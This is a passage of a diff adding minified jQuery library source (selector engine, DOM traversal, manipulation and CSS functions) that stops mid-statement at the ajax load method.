+function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});A.attachEvent&&!A.addEventListener&&A.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});(function(){function a(g){for(var h="",l,m=0;g[m];m++){l=g[m];if(l.nodeType===3||l.nodeType===4)h+=l.nodeValue;else if(l.nodeType!==8)h+=a(l.childNodes)}return h}function b(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];
+if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=l;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}m[q]=y}}}function d(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=l;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(k.filter(h,[t]).length>0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();
+t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||
+g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};k.matches=function(g,h){return k(g,null,null,h)};k.find=function(g,h,l){var m,q;if(!g)return[];
+for(var p=0,v=n.order.length;p<v;p++){var t=n.order[p];if(q=n.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");m=n.find[t](q,h,l);if(m!=null){g=g.replace(n.match[t],"");break}}}}m||(m=h.getElementsByTagName("*"));return{set:m,expr:g}};k.filter=function(g,h,l,m){for(var q=g,p=[],v=h,t,y,S=h&&h[0]&&x(h[0]);g&&h.length;){for(var H in n.filter)if((t=n.leftMatch[H].exec(g))!=null&&t[2]){var M=n.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-
+1)!=="\\"){if(v===p)p=[];if(n.preFilter[H])if(t=n.preFilter[H](t,v,l,p,m,S)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=v[U])!=null;U++)if(D){I=M(D,t,U,v);var Ha=m^!!I;if(l&&I!=null)if(Ha)y=true;else v[U]=false;else if(Ha){p.push(D);y=true}}if(I!==w){l||(v=p);g=g.replace(n.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)k.error(g);else break;q=g}return v};k.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var n=k.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
+CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},
+relative:{"+":function(g,h){var l=typeof h==="string",m=l&&!/\W/.test(h);l=l&&!m;if(m)h=h.toLowerCase();m=0;for(var q=g.length,p;m<q;m++)if(p=g[m]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[m]=l||p&&p.nodeName.toLowerCase()===h?p||false:p===h}l&&k.filter(h,g,true)},">":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m<q;m++){var p=g[m];if(p){l=p.parentNode;g[m]=l.nodeName.toLowerCase()===h?l:false}}}else{m=0;for(q=g.length;m<q;m++)if(p=g[m])g[m]=
+l?p.parentNode:p.parentNode===h;l&&k.filter(h,g,true)}},"":function(g,h,l){var m=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("parentNode",h,m,g,p,l)},"~":function(g,h,l){var m=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,m,g,p,l)}},find:{ID:function(g,h,l){if(typeof h.getElementById!=="undefined"&&!l)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var l=[];
+h=h.getElementsByName(g[1]);for(var m=0,q=h.length;m<q;m++)h[m].getAttribute("name")===g[1]&&l.push(h[m]);return l.length===0?null:l}},TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,l,m,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var v;(v=h[p])!=null;p++)if(v)if(q^(v.className&&(" "+v.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},
+CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,
+g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},
+text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},
+setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return h<l[3]-0},gt:function(g,h,l){return h>l[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h=
+h[3];l=0;for(m=h.length;l<m;l++)if(h[l]===g)return false;return true}else k.error("Syntax error, unrecognized expression: "+q)},CHILD:function(g,h){var l=h[1],m=g;switch(l){case "only":case "first":for(;m=m.previousSibling;)if(m.nodeType===1)return false;if(l==="first")return true;m=g;case "last":for(;m=m.nextSibling;)if(m.nodeType===1)return false;return true;case "nth":l=h[2];var q=h[3];if(l===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var v=0;for(m=p.firstChild;m;m=
+m.nextSibling)if(m.nodeType===1)m.nodeIndex=++v;p.sizcache=h}g=g.nodeIndex-q;return l===0?g===0:g%l===0&&g/l>=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m===
+"="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g,
+h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l<m;l++)h.push(g[l]);else for(l=0;g[l];l++)h.push(g[l]);return h}}var B;if(s.documentElement.compareDocumentPosition)B=function(g,h){if(!g.compareDocumentPosition||
+!h.compareDocumentPosition){if(g==h)i=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===h?0:1;if(g===0)i=true;return g};else if("sourceIndex"in s.documentElement)B=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)i=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)i=true;return g};else if(s.createRange)B=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)i=true;return g.ownerDocument?-1:1}var l=g.ownerDocument.createRange(),m=
+h.ownerDocument.createRange();l.setStart(g,0);l.setEnd(g,0);m.setStart(h,0);m.setEnd(h,0);g=l.compareBoundaryPoints(Range.START_TO_END,m);if(g===0)i=true;return g};(function(){var g=s.createElement("div"),h="script"+(new Date).getTime();g.innerHTML="<a name='"+h+"'/>";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&&
+q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML="<a href='#'></a>";
+if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="<p class='TEST'></p>";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();
+(function(){var g=s.createElement("div");g.innerHTML="<div class='test e'></div><div class='test'></div>";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:
+function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q<p;q++)k(g,h[q],l);return k.filter(m,l)};c.find=k;c.expr=k.selectors;c.expr[":"]=c.expr.filters;c.unique=k.uniqueSort;c.text=a;c.isXMLDoc=x;c.contains=E})();var eb=/Until$/,fb=/^(?:parents|prevUntil|prevAll)/,
+gb=/,/;R=Array.prototype.slice;var Ia=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,j){return!!b.call(e,j,e)===d});else if(b.nodeType)return c.grep(a,function(e){return e===b===d});else if(typeof b==="string"){var f=c.grep(a,function(e){return e.nodeType===1});if(Ua.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;
+c.find(a,this[f],b);if(f>0)for(var j=d;j<b.length;j++)for(var i=0;i<d;i++)if(b[i]===b[j]){b.splice(j--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ia(this,a,false),"not",a)},filter:function(a){return this.pushStack(Ia(this,a,true),"filter",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j=
+{},i;if(f&&a.length){e=0;for(var o=a.length;e<o;e++){i=a[e];j[i]||(j[i]=c.expr.match.POS.test(i)?c(i,b||this.context):i)}for(;f&&f.ownerDocument&&f!==b;){for(i in j){e=j[i];if(e.jquery?e.index(f)>-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a===
+"string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode",
+d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")?
+a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===
+1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/<tbody/i,jb=/<|&#?\w+;/,ta=/<script|<object|<embed|<option|<style/i,ua=/checked\s*(?:[^=]|=\s*.checked.)/i,Ma=function(a,b,d){return hb.test(d)?
+a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=
+c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},
+wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},
+prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,
+this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);
+return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,
+""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var j=c(this),i=j.html();j.empty().append(function(){return a.call(this,e,i)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&
+this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,b,f))});if(typeof a!=="string")a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(u){return c.nodeName(u,"table")?u.getElementsByTagName("tbody")[0]||
+u.appendChild(u.ownerDocument.createElement("tbody")):u}var e,j,i=a[0],o=[],k;if(!c.support.checkClone&&arguments.length===3&&typeof i==="string"&&ua.test(i))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(i))return this.each(function(u){var z=c(this);a[0]=i.call(this,u,b?z.html():w);z.domManip(a,b,d)});if(this[0]){e=i&&i.parentNode;e=c.support.parentNode&&e&&e.nodeType===11&&e.childNodes.length===this.length?{fragment:e}:sa(a,this,o);k=e.fragment;if(j=k.childNodes.length===
+1?(k=k.firstChild):k.firstChild){b=b&&c.nodeName(j,"tr");for(var n=0,r=this.length;n<r;n++)d.call(b?f(this[n],j):this[n],n>0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);
+return this}else{e=0;for(var j=d.length;e<j;e++){var i=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["",
+""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]==="<table>"&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=
+c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?
+c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja=
+function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=
+Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,
+"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=
+a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=
+a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=/<script(.|\s)*?\/script>/gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!==
